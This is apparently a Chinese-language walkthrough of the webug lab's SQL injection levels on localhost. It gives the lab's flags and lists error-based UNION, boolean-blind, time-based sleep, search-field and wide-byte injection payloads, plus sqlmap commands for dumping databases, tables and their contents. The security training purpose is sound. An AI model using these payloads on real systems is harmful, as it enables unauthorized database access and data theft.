我们先修改url中的id参数的值试试看
我们发现修改不同的id值,页面会显示不同的内容,如果数据库中没有相应的值,就不显示,例如id=3
我们现在来寻找注入点,现在url后面加单引号,发现报错了
http://localhost/control/sqlinject/manifest_error.php?id=3'
构造‘ or 1=1%23 可以发现页面恢复正常(%23是#的url表示,#是mysql中的注释符号)
http://localhost/control/sqlinject/manifest_error.php?id=1' or 1=1%23
这样一来,我们可以用order by来判断字段的个数
http://localhost/control/sqlinject/manifest_error.php?id=1’ order by 1%23
这里我们可以采用二分法来判断,我们从10开始
http://localhost/control/sqlinject/manifest_error.php?id=1‘ order by 10%23
一直试到2的时候页面才没报错,说明字段的个数为2
http://localhost/control/sqlinject/manifest_error.php?id=1‘ order by 2%23
通过union我们可以找需要的数据在哪一列,我们可以发现在第二列
http://localhost/control/sqlinject/manifest_error.php?id=1‘ union select 1,2%23
到这里我们就可以查看我们想要的信息了
查看用户名
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,user()%23
查看操作系统名
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,@@version_compile_os%23
查看mysql版本
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,version()%23
接下来我们要看看有哪些数据库,这里我们要用到group_concat函数
group_concat(str1,str2,...) --连接一个组的所有字符串,并以逗号分隔每一条数据
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,group_concat(schema_name) from information_schema.schemata%23
我们现在可以看到有7个数据库,前三个是mysql自带的数据库,现在我们来确认当前使用的数据库
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,database()%23
看看webug下有哪些表
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23
我们发现有一个flag的表,去看看flag里面有哪些字段
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='webug' %23
查看表中数据条数,发现就一条数据
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,group_concat(id) from flag %23
http://localhost/control/sqlinject/manifest_error.php?id=3‘ union select 1,flag from flag where flag.id=1 %23
输入flag
成功!
打开靶场发现和第一关差不多,当我们在url后加上单引号后没有报错,但是原来的内容没有了,当构造or 1=1 %23后页面的内容又恢复了,由此我们可以找到注入点,与第一关不同的是,选择的数据不会返回的前端,只能用其它的方法去判断。
order by 3 的时候页面发生变化,由此判断这里的字段个数为2
http://localhost/control/sqlinject/bool_injection.php?id=1'order by 3 %23
length函数可以获取字符串的长度,当数据库长度与5比较时,页面发生变化,这样可以知道数据库名称的长度为5
http://localhost/control/sqlinject/bool_injection.php?id=1' and length(database())>4 %23
在这里需要用到left函数
left(database(),n) #database() 数据库名称 left()函数表示截取数据库左侧n个字符
判断第一个字符,从a开始试起,w的时候发生变化,可以确定当前数据库名称的第一个字母为w
http://localhost/control/sqlinject/bool_injection.php?id=1' and left(database(),1)>'a' %23
然后依次确认2-5个字符,得到当前数据库名称为webug
需要用到的函数
substr(a,b,c) #从字符串a的b位置开始截取c个字符,当b为负数时截取位置是从字符串a右端向左数b个字符
limit i,n #第一个参数:从i开始查 ; 第二个参数:查n条
判断的方式都差不多
http://localhost/control/sqlinject/bool_injection.php?id=1' and substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1)>'a'%23
上面这样可以判断webug里第一个表第一个字符,判断第二个字符就是修改为substr(***,2,1),第二个表则是limit 1,1
通过一个一个的试,可以确认webbug下的表有data_crud,env_list,env_path,flag,sqlinjection,user,user_test
我们发现webug里有flag表,然后来获取flag表中的字段,获取方式都一样
http:/localhost/control/sqlinject/bool_injection.php?id=1' and substr((select flag from flag where id=1 limit 0,1),1,1)>'a' %23
这样去爆破可以发现flag表里有id和flag两个字段
类似的操作
http://localhost/control/sqlinject/bool_injection.php?id=1' and substr((select flag from flag where id=1),1,1)>'d' %23
这样就可以爆破出flag的值为dfafdasfafdsadfa,很熟悉的感觉,这就是第一关的flag的值,提交后发现不对,其实这张表里只有一条数据,所以falg不在这张表里面。后面发现flag是在env_list这张表中
http://localhost/control/sqlinject/bool_injection.php?id=1' and substr((select envFlag from env_list where id=2),1,1)>'f' %23
爆破可得flag为fdsafsdfa
前面使用手工注入发现特别麻烦,要花费好多时间,我们现在sqlmap这个工具来试一下
sqlmap常用命令:
sqlmap -h #查看相关参数
sqlmap -u 目标网址 #判断网站数据库类型
sqlmap -u 目标网址 --dbs #查看存在的数据库
sqlmap -u 目标网址 --tables -D 数据库名 #查看指定数据库中存在的表
sqlmap -u 目标网址 --columns -T 表名 -D 数据库名 #获取表中的字段
sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名 #查看表里存储的内容
打开kali自带的sqlmap
sqlmap
爆破数据库
sqlmap -u http://localhost/control/sqlinject/bool_injection.php?id=1 --dbs
爆破获得的数据库
获取当前数据库
sqlmap -u http://localhost/control/sqlinject/bool_injection.php?id=1 --current-db
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kZd3hmvf-1594559017736)(C:%5CUsers%5Cczs%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200601153019429.png)]
查看当前数据库所有的表
查看字段
查看flag的内容
这道题和第二关的链接一样,延时注入主要是考察利用响应时间来判断
if(exp,1,sleep(3)) #如果exp为真,返回1,否则返回sleep(5)就是延时5s响应
爆破当前数据库
确定当前数据库名称长度,可以得到长度为5
http://localhost/control/sqlinject/bool_injection.php?id=1' and if(length(database())>4,1,sleep(3)) %23
判断当前数据库的名称
http://localhost/control/sqlinject/bool_injection.php?id=1' and if(left(database(),1)>'v',1,sleep(3)) %23
http://localhost/control/sqlinject/bool_injection.php?id=1' and if(left(database(),2)>'we',1,sleep(3)) %23
.....
http://localhost/control/sqlinject/bool_injection.php?id=1' and if(left(database(),5)>'webug',1,sleep(3)) %23
爆出当前数据库名称webug
爆破所有数据库的名称
http://localhost/control/sqlinject/bool_injection.php?id=1' and if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)>'a',1,sleep(3)) %23
通过这样的方式可以爆破出所有的数据库名称
http://localhost/control/sqlinject/bool_injection.php?id=1' and if(substr((select table_name from information_schema.tables where table_schema='webug' limit 0,1),1,1)>'a',1,sleep(3)) %23
爆破出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
然后爆破env_list下的字段
http://localhost/control/sqlinject/bool_injection.php?id=1' and if(substr((select column_name from information_schema.columns where table_name='env_list' limit 0,1),1,1)>'j',1,sleep(3)) %23
env_list的表的字段:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
爆破id=3时flag的值
http://localhost/control/sqlinject/bool_injection.php?id=1' and if((substr((select envFlag from webug.env_list where id=3),1,1))>'a',1,sleep(3)) %23
最后flag:gfdgdfsdg
打开靶场,猜测注入点应该在这个搜索框
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q39cKfm4-1594559017742)(C:%5CUsers%5Cczs%5CAppData%5CRoaming%5CTypora%5Ctypora-user-images%5Cimage-20200602091837666.png)]
输入1,搜索,页面没什么变化,加单引号,报错
输入1‘ or 1=1 # 页面显示正常,可以确定注入点在这里
用order by判断字段个数
1' order by 2 #
判断出字段个数为2列
尝试查看用户信息,看是否会显示在页面
1' union select 1,user() #
发现前端不会返回内容,那只能盲注了
发现无论对错页面都没有变化,所以布尔盲注不太适用
判断当前数据库长度
1' or if(length(database())>5,1,sleep(5))#
可以判断当前数据库长度为5.
然后接下来的操作就跟之前一样了…
这一关并没有发现过滤,操作和上一关一样。
结束
尝试添加单引号,发现页面无变化
因为已经知道是宽字节注入,所以添加%df’,报错
接下来的操作就是跟之前一样了